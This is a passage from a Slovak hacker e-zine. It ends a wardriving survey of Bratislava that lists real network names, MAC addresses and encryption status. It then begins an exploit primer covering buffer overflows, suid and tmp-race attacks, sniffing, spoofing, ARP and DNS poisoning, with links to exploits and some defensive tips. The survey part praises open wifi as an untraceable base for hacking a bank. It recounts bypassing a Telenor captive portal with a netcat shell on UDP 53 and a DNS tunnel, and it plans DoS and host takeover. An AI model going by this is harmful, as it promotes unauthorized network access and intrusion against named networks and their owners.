govline                   00:02:78:e0:34:82   6  samsung                ap  nie
norton_home               00:02:2d:0c:fa:fb  11  agere (lucent) orinoco ap  ano
tomas0                    00:02:78:e2:00:31   8  samsung                ap  nie
--------------------------------------------------------------------------------

lokalita: tomasikova - drienova
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
tomas1                    00:02:78:e1:44:17   9  samsung                ap  nie
metrom                    00:60:b3:4f:1e:e4  12  z-com                  ap  nie
txgrtobaj                 00:90:4b:0b:5c:14   6  gemtek (d-link)        ap  ano
ANECT_BA-SSID#1           00:0a:8a:5f:33:50   7                         ap  ano
--------------------------------------------------------------------------------

lokalita: tomasikova - vajnorska
meno                      mac adresa       kanal vendor                typ krypt 
--------------------------------------------------------------------------------
tomas1                    00:02:78:e1:44:17   9  samsung                ap  nie
tomas0                    00:02:78:e2:00:31   8  samsung                ap  nie
tercoplast                02:90:c3:57:a5:87   1                       peer  ano
racsz                     02:02:65:3b:6c:3b   3                       peer  nie
milnapal                  00:90:4b:0b:5b:74   9  gemtek (d-link)        ap  ano
--------------------------------------------------------------------------------

statistika

skenovanim zopar vybranych lokalit v sirsom centre blavy sme nasli 143 wlan sieti. z nich 26 bolo kryptovanych, co je len 18%; zvysnych 117 sieti bolo nekryptovanych. z tych 117 zhruba na polovici sme vedeli byt aktivni bud automaticky pridelenymi dhcp udajmi, alebo nakonfigurovanim ip adresy na zaklade tcpdumpu. zhruba na polovici sieti kde sme mohli byt aktivni sme dokazali do par minut najst gateway alebo proxy von na internet.

zaverom

celkom sme sa bavili na tom ako nas okolo polnoci zastavila policajna hliadka v okoli pionierskej ulice a snazili sa pochopit co nam to trci z auta :) pohlad do auta plneho pozapinanych notebookov a kablov bol tiez iste zvlastny.. ..nastastie boli policajti chapavi a nechali nas dokoncit nas "skolsky projekt" ;)

nuz ale, co dodat zaverom.. dnes v dobe handheldov s wireless interfejsmi a teenagermi, ktori si z krabicky od Prinkles chipsov spravia yagi antenu by sme odporucali kryptovat co sa len da. vid pripad "slavin", kde sme sa bavili na tom ako sa jeden nas znamy pokusa najst nejake mp3 na warezackych kanaloch na ircnete, svet je maly :)

ukazalo sa ze pripojit sa na internet pomocou bezdratovej siete je v bratislave velmi jednoduche. je to ten najanonymnejsi sposob pripojenia na internet aky existuje. nikto vas nikdy nevystopuje. je to anonymnejsie ako cez gsm, pevnu linku, alebo v internetovej kaviarni s umelymi fuzami. takze ak sa chystate na ten tucny hack velkej banky (viz dva prielomy dozadu), staci si sadnut s malym notebookom niekde na slavin..

..a naco slavin, mozete sa hrat priamo doma alebo trebars na hoteli. zaujimavu story o pripajani sa na bezdrat v norsku poslal maniac mailom:

Nooo,

mali sme hotel asi 500m od istej telekomunikacnej budovy vo Furnebu. Tak som vytiahol notebuk na izbe, ze xecknem ci mame signal a viola, signal strength: Excellent. Dokonca aj DHCP sa rozficalo, dostal som verejnu ip, nska a gateway. Bol to adresny priestor Telenor Mobile. Samozrejme bolo to komplet zafirewallovane a browser mi na akekolvek url hodil uvitaciu obrazovku TM s tym ze mozem mat testovaciu prevadzku na dobu 3 minuty :-) Mali to dost advanced porobene, ziadne overflowy ani cross-site na to php nezaberali. Nmapom som poscanoval pridelenu siet nasiel som tam este jednu masinu - NTcka, ktore boli ale zaheslovane a nic sa s nimi nedalo riesit. Pripomeniem ze prihlasovacia stranka TM bola na https. Nasledne som zistil, ze kamkolvek spravim TCP konekt, dostanem odpoved asi takuto: "http://10.0.10.1 HTTP/1.0". Dokonca pri pokuse o konekt na 25 alebo 110, alebo 21 bol pred tym url este 2xx-tkovy kod danej sluzby. Cize niekto sa s tym celkom dobre vyhral.. Ta aplikacia sa vola NOMAD.

Napadlo ma este skusit ci fici dnsko priamo zvonka. A fici! Takze dalsi den ked sme boli v Telenore, tak som si na localhost.sk pustil na jednej z ipeciek netcat na porte 53/udp, ktory pustal tcsh. Hladal som nejaky rozumny tunel ale nic som nenasiel, takze som ostal pri tom netcate. Problem bol v tom, ze som mohol spravit len jeden konekt. Akonahle som sa diskonektol tak uz sa nedalo pripojit druhy krat, NC ostal vysiet, cize sa to nedalo poriesit cez inittab/daemontools. Takze na hotel som odchadzal s tym ze mam presne jeden pokus (samozrejme aj to len v pripade, ze mi v tedy na izbe naozaj odpovedal localhos.sk a nebol to len nejaky fake cez NAT alebo take volaco).

Takze pomocou nc som sa cez udp/sport53/dport53 pripojil na lhost priamo z hotela ;-) Problem bol v tom ze som nemohol riskovat ziadne ctrl+c/ctrl+d a pod. Zaroven som mal klasicky bindshellovsky terminal, cize ziadny :) V podstate do stacilo na to aby som sa telnetom pripojil na irc resp ivan na talker. No ale po chvili to chcelo troska vylepsit, aby sme mohli browsovat a tak :) Spravil som pomocou styroch NC tcp->udp ----- udp->tcp tunel :) Zial nebolo to dokonale a fical cez to len telnet, http proxy alebo ssh nie. Ale aspon som mal uz full terminal na lhoste a mohol som volnejsie makat..

Vtedy mi maxo radil nejaky tunelovaci soft z mendrejku, ktory bol ale len ako rpm cize nebol moc pouzitelny, tak som cez links a gugl hladal rozne konbinacie udp+ppp tunelov a podobne. Nakoniec som sa rozhodol pre CIPE.

Takze som pustil druhy ncat na dalsej ipecke na lhoste, dalsi ncat na notebooku a frcol som cez to take ze cipe.tgz. Na pocudovanie tento 200kb fajl presiel asi za 2 sekundy :) Nasledne po nastudovani instalacie a konfiguracie som rozbehol cipe PTP udp tunel medzi notebookom a lhostom na portoch 53/54 udp (54 na notebooku preto, lebo na 53 bezal ncat s tcsh).

Cize uz som mal full konekt na lhost ktory fical cez CIPE. Mohol som na lhoste spustit NAT a na notebooku si cez policy routing naroutovat fsetko cez cipe/lhost, ale na lhoste som mal problemy s natom (nebol povodne v jadre) takze som na lhoste zinstaloval squida a na notebooku nastavil proxac na nejakej 192.168.0.2 co bol lhost.

Nasledne som uz len popridaval ciped do startovacich skriptov na lhoste a notebooku, takze po reboote notebooku som mal hned konekt k plnej spokojnosti a mohol som trackovat www/ftp a vsetko ostatne ;-)

Prenosova rychlost bola okolo 260kB/s t.j. 2mbit/s . Stiahli sme si teda nejake filmy, mp3ky a vobec :)

maniac

P.S. priamo vnutri fornebu mali vsade cisco 802.11 wifi APcka, maixmalny pocet mi ich naratalo 15 v jednom meetingroome.

..no pekny zazitok z norska.. budeme velmi radi ak sa niekto chyti tych dat co sme dali dokopy a rozsiri ich o poznatky vo svojej geografickej oblasti. vynechali sme cele velke casti blavy ako dolne hony, racu, nove mesto, biskupice, devin, atd. teoreticky by slo potom takto nazhromazdene poznatky prezentovat na hysterke vo forme akejsi mapy ci databazy. no a samozrejme budeme velmi radi ak niekto preskenuje aj ine mesta.. urcite budu zaujimave kosice, zilina, presov, no a samozrejme praha ci brno.. ak by niekto z prislusnych miest chcel pomoc s metodikou ci hardwarom, ozvite sa na boarde a mozno si spravime prieskumny vylet do vasho mesta :) ono v podstate vam staci jeden notebook, mala omni antena a sadnut si na mestsku hromadnu dopravu - vyberte si nejaku linku ktora chodi krizom-krazom po meste.. :)

jo a mimochodom fotky z nasej jazdy su na http://hysteria.sk/prielom/pics/wifi-drive/

co nabuduce ? noo tu je nas maly "todo" zoznam veci ktore by sa mohli objavit v planovanom pokracovani tohto clanku v buducom prielome:

  • zobrat si so sebou sprej alebo aspon kriedu na znackovanie najdenych sieti, viz http://www.warchalking.org/
  • tiez by sme mohli zistit preco nam niektore velmo uzitocne utilitky nefachali (urlsnarf, sniffit..)
  • skusit pcmcia kartu z prismII chipsetom aby sme mohli vyskusat novy projekt z packetfactory.net http://www.packetfactory.net/projects/radiate s ktorym by sa dalo DoSovat wifi siete, ale tiez ze stym chipsetom sa da dostat uplne na uroven 802.11b
  • kupit staru 1203 dodavku, dovnutra namontovat stol na PCka a na strechu antenu...
  • do dalsieho clanku chceme dat detailnejsie postupy na pripojenie na AP, hladanie default routy, takeover hostov..

    ..a tiez skusit tie kryptovane siete. treba sa pripravit - budu pribudat. takato eterova anarchia ktoru sme zazili nemoze predsa trvat vecne, alebo ano !?

    bezsnuram zdar !

    antonio, antonio @hysteria.sk
    maniac, maniac @hysteria.sk
    pajka, pajkus @hysteria.sk

    navrat na obsah
    co ty na to ? board




    bezpecne programovanie pod unixom

    Tento dokument sluzi ako uvod do problematiky vzdialenych a lokalnych exploitov. Hovori o vyuziti castych programatorskych chyb, pisani programov pre vniknutie do systemu a o moduloch jadra ako maskovacom mechanizme hackera. Obsahuje tiez strucny uvod do hackerskych utilit v UNIX-e. Ak ste uz ako-tak spoznali UNIX a chcete sa dostat hlbsie do tmavsich zakuti, tymto dokumentom treba zacat.

    Historia UNIXu

    Unix je operacny system, ktory vznikol v roku 1969 v Bellovych Laboratoriach. Najznamejsimi vyvojarmi pracujucimi na jeho vzniku boli Dennis Ritchie, Ken Thompson, M.D. McIlroy a J.F. Ossanna. Mal byt odpovedou na vladou a armadou podporovany projekt MULTICS, ktory sa ale opakovane omeskaval. Najskor bol pisany priamo v assembleri pre PDP7 a az neskor (1973) v novovyvinutom programovacom jazyku "C". To mu umoznovalo velmi vysoku prenositelnost po implementovani jazyka C na inych architekturach ako DEC PDP7/PDP10. Prvotnym zamerom horeuvedenych panov bolo vraj napisanie hry typu Space Invaders pre nevyuzitu PDP7-cku.

    Z povodneho UNIX-u sa vyvinulo mnoho vetiev. Vsetky maju ale zakladne prvky rovnake - system sa sklada z jadra, pripadne modulov jadra, mnohych drobnych systemovych nastrojov a aplikacii. K zariadeniam sa pristupuje pomocou specialnych suborov, zvycajne v adresari /dev. System je dnes 32 (a viac) bitovy, viaculohovy (multitaskovy), podporuje vlakna (thready) - je preemptivny. Vacsina implementacii UNIXu splna normu POSIX (Portable Operating System Interface).

    Dnes sa z komercnych UNIX-ov najcastejsie mozeme stretnut so systemami ako Solaris (SUN Microsystems), HP-UX (Hewlet-Packard), DIGITAL UNIX (TRU64-UNIX) (Digital/Compaq) pripadne AIX (IBM). Z volne siritelnych unixovych operacnych systemov su to najma Linux (mix vetiev BSD a SYSTEM V.) a Free BSD (BSD4.4 vetva). Unix sa vyznacuje vysokou stabilitou, skalovatelnostou a rozsiahlimi moznostami konfiguracie.

    Strojovy jazyk, jazyk symbolickych adries (assembler)

    Strojovy jazyk je kod, ktory je nacitavany procesorom z pamate a nasledne vykonavany. Je predstavovany bajtmi (byte), slovami (word) pripadne ich kombinaciami. Su to kombinacie intrukcii a dat. Aby clovek, ktory chce ovladat procesor na najnizsej urovni nemusel pracne pisat program v strojovom kode, bol vyvinuty jazyk symbolickych adries - assembler. V tomto jazyku mozme pisat program v cloveku zrozumitelnej forme a po preklade na binarny kod vykonavatelny procesorom. Data (operandy) predstavuju bajty, wordy, doublewordy, pripadne este vacsie datove typy. Byte ma tu vlastnost, ze sa da don ulozit cele cislo v rozsahu 0-255 (8 bitov). V pripade ze je vysledok aritmetickej operacie vacsi ako 255 a ma byt ulozeny do bajtu, vysledne cislo bude rovne vysledku operacie modulo 255, teda nie cislo, ktore by sme mozno ocakavali :). Zaroven sa nastavi indikator pretecenia (CF - Carry Flag). Toto je vlastne uplne najjednoduchsi priklad pretecenia (overflow). Velkost wordu zavysi od architektury o ktorej sa bavime. U wordu (v pripade 16 bit architektury) to je podobne, ale ukladane cislo moze mat rozsah 0-65535 (16 bitov), doubleword predstavuje 32 bitov, quadword uz obsahuje 64bitov. Pretecenie teda oznacuje operaciu (aritmeticku, ale aj logicku - tj. integer nebo cast overflow), ktorej vysledok presiahne moznosti pouziteho datoveho typu. Okrem aritmetickej a logickej operacie sa moze jednat aj o blokovu operaciu vyuzivajucu buffer - tu sa potom hovori o tzv buffer overflow (pretecenie vyrovnavacej pamate) a prave tato varianta bude casto spominana v tomto dokumente.

    Priklad programu scitania v assembleri vyuzivajuceho volanie unixovej funkcie zobrazenia textu na terminal - printf. Jedna sa o disassembling (spatne prelozenie) kodu vygenerovanego kompilatorom gcc 2.95.3. K dissasemblovaniu bol pouzity debugovaci (ladiaci) program gdb verzie 5.0. Uvedene priklady sa budu tykat architektury linux/i386 pokial nebude uvedene inac.

    
    Dump of assembler code for function main:
    0x80483e4 
    : push %ebp - ulozit puvodni ebp 0x80483e5 : mov %esp,%ebp - zacatek stack-frejmu do ebp 0x80483e7 : sub $0x18,%esp - vytvorit 24bajtovy frame 0x80483ea : movl $0x2,0xfffffffc(%ebp) - ulozime cislo 2 na adresu ebp-4 0x80483f1 : movl $0x3,0xfffffff8(%ebp) - ulozime cislo 4 na adresu ebp-8 0x80483f8 : mov 0xfffffffc(%ebp),%eax - cislo na ebp-4 do eax 0x80483fb : mov 0xfffffff8(%ebp),%edx - cislo na ebp-8 do edx 0x80483fe : lea (%edx,%eax,1),%ecx - ecx = eax + edx 0x8048401 : mov %ecx,0xfffffff4(%ebp) - vysledek v ecx uloz na adresu ebp-12 0x8048404 : mov 0xfffffff4(%ebp),%eax - precti z adresy ebp-12 do eax 0x8048407 : push %eax - uloz vysledek (argument pro printf) 0x8048408 : mov 0xfffffff8(%ebp),%eax - 2. operand scitani do eax 0x804840b : push %eax - uloz 2. operand scitani (-"-) 0x804840c : mov 0xfffffffc(%ebp),%eax - 1. operand scitani do eax 0x804840f : push %eax - uloz 1. operand scitani (pro printf) 0x8048410 : push $0x8048470 - uloz adresu adresu formatovaciho retezce pro printf 0x8048415 : call 0x8048300 - zavolaj podprogram (funkcia printf) 0x804841a : add $0x10,%esp - zrus predchozi pushnute argumenty 0x804841d : leave - zrus stack frejm 0x804841e : ret - navrat z podprogramu

    Jazyk C

    Jazyk C bol vyvinuty ako UNIX tiez v AT&T Bell Labs. Jeho tvorcom bol v roku 1972 Dennis Ritchie. C je na vyssej urovni ako assembler, ale stale na dostatocne nizkej, aby mohol programator pisat velmi efektivny kod. Programator je zodpovedny aj za integritu dat, samotny jazyk nerobi ziadne, alebo len minimalne kontroly toho co programator napise. Casto sa tu pouziva vyraz buffer, alebo pole. Jedna sa o suvisly blok pamate, v ktorom sa viac krat vyskytuju data rovnakeho typu. Staticke buffre su pevne definovane v zdrojovom kode a su alokovane pri nahravani programu v datovom segmente pamate. Dynamicke polia su definovane cez pointre a su vytvorene pocas behu programu v pridelenom segmente (pridelovanie zavysi od implementacie *alloc() v glibc). Vdaka obmedzeniam statickych poli sa vo vacsine programov stretneme s ich dynamickou verziou. Preto sa utoky vyuzivajuce modifikaciu zasobnika (Smashing the stack alebo stack overflows) zaoberaju prave dynamickymi poliami.

    V jazyku C sa casto vyuzivaju datove typy ako napriklad integer, char a podobne. Tak ako v assembleri typ Word zalezal od architektury, tak je to v Cecku pri integeri.

    Priklad programu scitania (zhodny s programom v assembleri):

    /pr.0x3.1/
    #include                                       - nacitanie hlavickoveho suboru obsahujucu funkciu printf
    main()                                                  - vstup do programu - funkcia main
    {
      int a,b,c;                                            - definovanie datoveho typu pre premenne a,b,c
      a = 2;                                                - priradenie hodnoty premennej a
      b = 3;                                                - priradenie hodnoty premennej b
      c = a + b ;                                           - vysledok scitania premennej a s premennou b sa ulozi do premennej c
      printf("%d + %d = %d\n",a,b,c);                       - vypise sa vysledok
    }
    

    UNIXove procesy a zasobnik (stack)

    Bezici procesy na 32 bitovych intel systemech jsou zpravidla rozdeleny na tri oblasti: text, data a stack. Na zaciatku, pri spusteni programu sa oblast textu a dat nahra priamo do aktivnej pamate. Data sa rozdelia na inicializovane data a neinicializovane data oznacovane ako BSS. BSS data su umiestnene vyssie v pamati ako inicializovane data, pricom oblast textu zaberie najnizsiu adresu (najblizsiu k 0x00000000). BSS data niesu staticky ulozene v subore, pretoze tato oblast byva alokovana blokom pamate vyplnenym nulami. V oblasti BSS su ulozene informacie ako staticke premenne. Velkost datovej oblasti moze byt modifikovana funkciou brk(), ktoru popisuje standart POSIX 2.9 (unistd.h). V pripade ze bss-data alebo uzivatelsky zasobnik vyplitvaju pouzitelnu pamat, beziaci proces je zablokovany a je naplanovne aby sa znova spustil s vacsim mnozstvom pamate. Nova pamat je pridana medzi stackom a datovymi segmentami v neinicializovanom regione.
    Textovy region je read-only zdielany (mmapovane) vsetkymi procesmi spustajucimi subor. Pokus o zapis do tohto regionu sa prejavi vyjimkou porusenim segmentacie (segmentation violation). Toto je rozdiel oproti datovej a stack oblasti, ktore su zapisovatelne a su samostatne pre kazdy proces.

    Znazornenie UNIXoveho procesu v pamati (aktivny) a na disku (ulozeny).

    
    0xFFF00000      +-------------------------------+
    (vysoke adresy) |  zasobnik jadra pre procesy   |
                    +-------------------------------+
                    |          cervena zona         |
                    +-------------------------------+
                    |       uzivatelska oblast      |
                    +-------------------------------+
                    |       ps_retazce struktura    |
                    +-------------------------------+
                    |        signalizacny kod       |
                    +-------------------------------+ - -
                    |       premenne prostredia     |     \
                    +-------------------------------+       \
                    |          argv retazce         |         \
                    +-------------------------------+
                    |       pointre prostredia      |  argumenty prikazoveho riadku
                    +-------------------------------+       a premenne shellu
                    |          argv pointre         |         /
                    +-------------------------------+       /
                    |               argc            |     /
                    +-------------------------------+ - -
                    |       uzivatelsky zasobnik    |
                    |               |               |
                    |               V               |
                    |                               |
                    |                               |
                    |                               |
                    |               ^               |
                    |               |               |
                    |       kopa (heap)             |
                    +-------------------------------+               +-----------------------+
                    |               bss             |               | tabulka znakov        |
                    +-------------------------------+ - - - - - - - +-----------------------+
                    |       inicializovane data     |               | inicializovane data   |
                    +-------------------------------+ - - - - - - - +-----------------------+
    0x00000000      |               text            |               |       text            |
    (nizke adresy)  +-------------------------------+ - - - - - - - +-----------------------+
                            proces v pamati                         |                       |
                                                                    | hlavicka linkeru      |
                                                                    | a magicke cislo       |
                                                                    |                       |
                                                                    +-----------------------+
                                                                     subor na disku.
    
    

    Zasobnik sa jednoznacne lisi od textu a dat. Nadolezitejsie je, ze zasobnik je dynamicky a urceny za behu, na rozdiel od statickych dat, ktore su jednoducho nahrane do pamate. S polozkami zasobnika sa pracuje systemom LIFO (Last In, First Out).

    Pri sputani a ukoncovani standartnej funkcie C musi byt volana procedura 'uvod' alebo 'zaver', ktore ulozia dosavadne premenne, vytvoria miesto pre nove premenne a vice versa v pripade ukoncenia funkcie. Predchadzajuci FP (Frame Pointer) je ulozeny, vytvori sa novy FP a SP (stack pointer) pracuje s ohladom na jeho nove lokalne premenne. Tu je priklad:

    
    /pr.0x4.1/
            void function(int a, int b, int c) {
              char buffer1[5];
              char buffer2[10];
            }
    
    
            void main() {
              function(1,2,3);
            }
    
    V assembleri bude ekvivalent volania function() horeuvedenej funkcie nasledovny:
    /pr.0x4.2/
            pushl $3        ; uloz argument 3 pre function()
            pushl $2        ; uloz argument 2 pre function()
            pushl $1        ; uloz argument 1 pre function()
            call function   ; zavolaj function() a uloz IP (Instruction Pointer) na vrch zasobnika
    
    

    Tento kod ulozi 3 argumenty volanej funkcie odzadu do zasobnika a zavola function(). Instrukcia call ulozi IP (nasledujucej instrukcie za call-om) na vrch zasobnika. To zabezpeci, ze ked skonci podprogram, ktory bol zavolany a vykona instrukciu ret, nacita sa adresa IP zo zasobnika a program bude pokracovat na danej adrese.

    Prva vec, ktora sa udeje vo funkcii je procedura 'uvod':

    
    /pr.0x4.3/
            pushl %ebp      ; uloz frame pointer na zasobnik (sfp = saved frame pointer)
            movl %esp, %ebp ; zjisti adresu konce budouciho frame pointeru
    
    
    Najprv sa frame pointer - EBP ulozi do zasobnika. Aktualne SP sa nasledne zkopiruje do EBP, cim z neho vytvori novy Frame Pointer. Nakoniec sa procedura 'zaver' vyberie alokovat miesto pre lokalne premenne odpocitavanim ich velkosti od SP. Prekladac gcc zpravidla zarovnava vsechny promenne na zasobniku na nasobky wordu (zpravidla na 4 nebo 16 bajtu) to vysvetluje, preco je v tomto priklade od SP odratana hodnota 20. Zdrojovy kod v priklade pr.0x4.1 pouziva 5 bajtovy buffer, takze sme museli alokovat 2 wordy (8 bajtov) a pre 10 bajtovy buffer 3 wordy (12 bajtov). Teda oba buffre dokopy davaju 20 bajtov (a nie 15 ako by sa mohlo zdat), ked berieme do uvahy 4-bajtovu velkost slova na Intel x86 procesoroch.

    Takto bude vyzerat blok pamate zahrnajuci uzivatelsky zasobnik:

    
            +-----------------------+
            |,,,,,,,argc,,,,,,,,,,,,|
            +=======================+
            |..uzivatelsky.zasobnik.|
            +-----------------------+
            |       c               |
            +-----------------------+
            |       b               |
            +-----------------------+
            |       a               |
            +-----------------------+
            |       ret             |
            +-----------------------+
            |       sfp             |
            +-----------------------+
            |       buffer1         |
            +-----------------------+
            |       buffer2         |
            +-----------------------+
            |.......heap............|
            +=======================+
            |,,,,,,,bss,,,,,,,,,,,,,|
            +-----------------------+
    
    

    Programatorske chyby

    Historia zneuzivania programatorskych chyb.

    Najznamejsie pripady zneuzitia buffer overrunov

  • 1987 Robert Tappan Morris : Internet Worm (blizsie info RFC 1135) Zneuzitim dier v sendmaile a fingerd bola prerusena prevadzka velkej casti internetu.
  • 1995 Kevin Mitnick vs Tsutomu Shimomura (blizsie info http://www.takedown.com) Suboj asi najznamejsieho hackera/crackera a specialistu na bezpecnost v IT.

    Druhy programatorskych chyb

    Fandango on Core
    V programovacom jazyku C sa tento vyraz pouziva pre vsetky pripady, kedy sa pointer dostane mimo vymedzenych hranic, co sposobi core dump alebo poskodenie pamate. Toto je zakladom stack smashing a heap/bss bezpectnostnych dier. Mozme sa stretnut aj s inymi pomenovaniami, ale zvacsa pri tom ide opat o nechcene operacie s dynamicky pridelenou pamatou. Tento vyraz je odvodeny od Spanielskeho tanca ;-).

    Overruns screw
    Je to variacia Fandango on Core. Popisuje pripad, ked pracujeme za koncom hranic definovaneho pola. Chybajuce testovanie hranic v jazyku C vydatne podporuje tento jav. Takto sa chovajuci program je opat jednym so zakladych prvkov pri stack smashing utoku.

    Smashing, Trashing, Scribbing the Stack
    Variacia overrun screw, vznikne zapisom za koniec definovaneho pola, kedy prepiseme navratovu adresu v zasobniku. Program odskoci na nahodnu adresu a preplni vstup velkym mnozstvom dat, co prepise pevne definovany buffer.

    Aliasing, Stale, Dangling Pointer Bugs
    Termin zauzivany uz v rokoch okolo 1960 pri programovacich jazykoch Fortran a Algol. Je to skupina chyb, kedy program vyuziva viac ako jeden pointer, alebo alias na pointer, ktory ma ukazovat na blok dynamicky pridelenej pamate. Ak je pamat modifikovana pouzitim prveho aliasu a druhy s tym neratal moze vzniknut neprijemny problem - nespojitost, alebo strata dat.

    Bohr Bug
    Jedna sa o chybu, ktora je opakovatelna. Teda vieme presne popisat v akom pripade sa vyskytne. Tento vyraz je odvodeny z kvantovej fyziky.

    Heisenbug
    Vyraz opisujuci chybu, ktora zmizne akonahle sa nanu zameriame (napr. zapnutim debugu). Moze ist napriklad o chybu, ktorej staci nepatrna zmena v systemovom prostredi, alebo v pamati na to, aby sa neprejavila. Obcas sa zvykne nazyvat aj Mandelbug, alebo Schroedinbug. Vysledkom je z pravidla fandango on core alebo stack smashing. Tento vyraz je odvodeny z kvantovej fyziky.

    Mandelbug
    Chyba, ktorej prejav je prilis zlozity az nedeterministicky. Tento vyraz bol odvodeny z Mandelbrotovej mnoziny.

    Schroeding Bug
    Nahodne, alebo aj umyselne najdena chyba v zdrojovom kode, alebo chyba ktora sa objavila az pri neplanovanom vyuziti programu - nestandartny vstup, alebo podmienky behu.

    Precedence loosage
    V pripade vyrazu vyzivajuceho viacero aritmetickych operacii moze programator stratit prehlad nad ich prioritou, resp. poradim vykonania.

    Memory leak, Core leak (presakovanie pamate)
    Program pri svojom behu dynamicky alokuje pamat a v pripade, ze ju nedealokuje spravne, zacne naberat na velkosti. Moze sa stat ze vycerpa vsetku pamat systemu.

    Deadlock
    Nekonecka slucka ktora vznikne cakanim na priznak, ktory sa ale neobjavi, pretoze sa s jeho nastavenim opat na nieco caka (napriklad na vykonanie uz cakajuceho programu). Objavuje sa napriklad pri zamykani suborov dvomi aplikaciami.

    Utocnicke techniky

    Exploit
    Co je to vlastne exploit? Je to program, ktory zneuziva chybu v inom programe za ucelom ziskania privilegii, na ktore nemame opravnenie. Exploity mozu byt lokalne - na ich spustenie musime mat uzivatelsky ucet na cielovom pocitaci, alebo aspon shell pristup (napr. cez bindshell). Lokalne chyby sa zvacsa tykaju suid programov, ktorym dame na vstup, alebo do systemovych premennych data, ktore preplnia buffer nasej suid aplikacii a docielime toho, ze sa z nami vlozenych dat stane kod, ktory sa spusti. Dalej sa moze jednat o tmp-race - ked program s vyssimi privilegiami pri svojom behu pouziva /tmp adresar (pristupny vsetkym uzivatelom) na uchovanie docasnych suborov. Hacker moze vytvorit dopredu linku, ktora bude smerovat na subor, ktory sa ma zobrazit/prepisat. Pokial je suid program zle napisany a nezisti ze taky subor uz existuje (nezistuje pritomtost daneho suboru a nevytvara ho atomicky), resp. ze to je link, utocnik docieli manipulacie so suborom na ktory smeruje link s pravami suid programu. Takto mozme napr. do suboru /root/.rhosts vlozit retazec '+ +', alebo precitat systemovy shadow subor. Dalsia moznost je spravit utok na jadro, cez pipe, device, alebo /proc filesystem. Vzdialeny exploit zneuziva chybu v aplikacii pocuvajucej na nejakom tcp/udp porte, pripadne sledujucej traffic na sieti. V extremnom pripade by bolo mozne uvazovat o remote exploite na ip-stack zariadenia na sieti. Pri takychto utokoch sa jedna vacsinou o chybu v aplikacii, ked sa nedostatocne kontroluje vstup (jeho velkost, esc sekvencie).

    Priklad

  • Exploitov existuje mnozstvo, takmer kazda sietova aplikacia alebo SUID program mal v minulosti nejaku dieru a pravdepodobne existuje exploit prave na tu deravu verziu. Tak isto aj autorov exploitov existuje nespocet. Z najznamejsich by som mohol menovat skupiny ako ADM (http://adm.freelsd.net), w00w00 (http://www.w00w00.org), TESO (http://teso.scene.at), GOBBLES (http://www.bugtraq.org). Z jednotlivcom napriklad Michal Zalewski (http://lcamtuf.coredump.cx/), dugsong (http://www.monkey.org/~dugsong/) a naozaj velmi vela dalsich.
  • Linux 2.2.0 -> 2.4.9 ptrace exploit http://hysteria.sk/sd/f/exploits/ptrace24.c
  • Qpop 2.4 remote exploit http://www.monkey.org/~dugsong/

    Suid program po spusteni dostane uid/gid vlastnika suboru. O tom ci je alebo nieje program suid rozhoduje priznak suboru - suid bit. Jedinou autentifikaciou je zvacsa len uid/gid uzivatela, ktory binarku spusta. V pripade vyuzitia buffer overrunu na suid binarku hovorime o lokalnom utoku.

    Priklad

  • Screen3.9.11 local root exploit (24.4.2002) http://packetstorm.dnsi.info/0204-exploits/screen-stuff.tgz
  • SGI security advisory - Suidperl BOF http://packetstormsecurity.org/advisories/sgi/sgi.19980404-01-i.suidperl

    Ochrana

  • minimalne mnozstvo suid (root) programov a aj to len pre uzivatelov, ktory ich nutne potrebuju
  • najdeme ich takto: find / -user root -perm -004000 -ls
  • pouzivanie preverenych suid programov (open source, aktualna verzia)
  • primountovanie filesystemov ako /home, /var a pod. s parametrem no-suid, takze suid bit ztraci svuj zadany efekt (napr. super-user shelly hackery tam zanechane postradaji na funkcnosti ;-)

    Sniffinig
    Sniffing je taktika, kedy utocnik vidi traffic na urovni sietoveho adapteru. Tam su v pripade zdielanieho spojenia (napr. ethernet) zvacsa aj data urcene nielen pre dany adapter. Este nebezpecnejsie je, ked prepne sietovy adapter do PROMISC rezimu. Vtedy interface prijima aj take framy, ktore nemaju v l2 hlavicke svoju mac adresu ako ciel. Vo vacsine pripadov sa jedna prave o PROMISC sniffing.

    Priklad

  • hunt je sniffer/interceptor do switchovaneho prostredia http://packetstormsecurity.org/sniffers/hunt/hunt-1.5.tgz
  • ettercap tiez ako hunt http://packetstormsecurity.org/sniffers/ettercap/ettercap-0.6.5.tar.gz
  • dsniff pozna casto pouzivane protokoly (pop3,ftp,telnet,stmp..) a uklada hesla/data v prehladych suboroch

    Ochrana

  • jadro posle hlasku o prepnuti do/z promisc rezimu do syslogu
  • detekcia promisc karty na sieti - mozte zistit, ze pri vasej komunikacii sa nejaky dalsi stroj sa snazi resolvovat reverzne dns zaznamy vami kontaktovanych IP adries
  • pouzivanie switchov miesto hubov
  • utility ako antisniff a podobne
  • kryptovat vsetku moznu komunikaciu
  • pouzivat hesla obsahujuce nezobrazitelne znaky

    Spoofing
    Utocnik posiela packety (zvycajne udp/icmp) s inou zdrojovou adresou, ako je jeho vlastna. Takto sa daju ucinne obist packet-filtre (firewally). Samozrejme ak chce obet odpovedat, odpoveda nie utocnikovi ale nic netusiacej stanici, ktora bola uvedena ako zdrojovoa adresa v hlavnicke spoofnuteho IP packetu. Spoofing nefunguje pri TCP spojeniach, pretoze tu je potrebny 3-way handshaking.

    Ochrana

  • Pouzivat firewallovacie pravidla, ktore znemoznuju prichod packetu z internej siete cez vonkajsi interface.
  • ISP by mali filtrovat svoj odchodzi traffic aby sa von dostali len packety z vlastneho rozsahu
  • Ak je to mozne, tak akceptovat len spojenia vytvorene vasou stanicou

    ARP-poisoning
    Tato technika sa pouziva v prepinanom prostredi (switch)

  • Utocnik posiela falosne arp-reply packety inemu pocitacu/routru. Dosiahne tym, ze traffic urceny pre iny pocitac bude smerovany na jeho MAC adresu a samozrejme aj na jeho port vo switchi akoby bol urceny priamo jemu.

    Ochrana

  • MAC security na switchi zabrani jenej IP adrese objavovat sa na roznych portoch v kratkom casovom intervale
  • Staticke zaznamy v ARP tabulke

    DNS-spoofing
    Ked posle obet dns request na nejaku domenu a utocnik odpovie rychlejsie ako dns server a zna ID query (napr hore spominany sniffing, nebo ho proste uhadne), obet dostane zdanlive spravnou odpoved, ale od nespravneho zdroje.

    Ochrana

  • dnssec - system checksumovania requestov/responsov

    DNS-poisoning

  • Utocnikov DNS server s odpovedou na request posle aj 'otraveny' zaznam o inej domene, ktory dns server obete poslusne zaradi do svojej dns-cache

    Ochrana

  • pouzivat najnovsie verzie dns servrov/resolverov Flood
  • Zahltenie linky obete (DoS - Denial of Service)
  • moze byt bud trafficovy (velke mnozstvo dat)
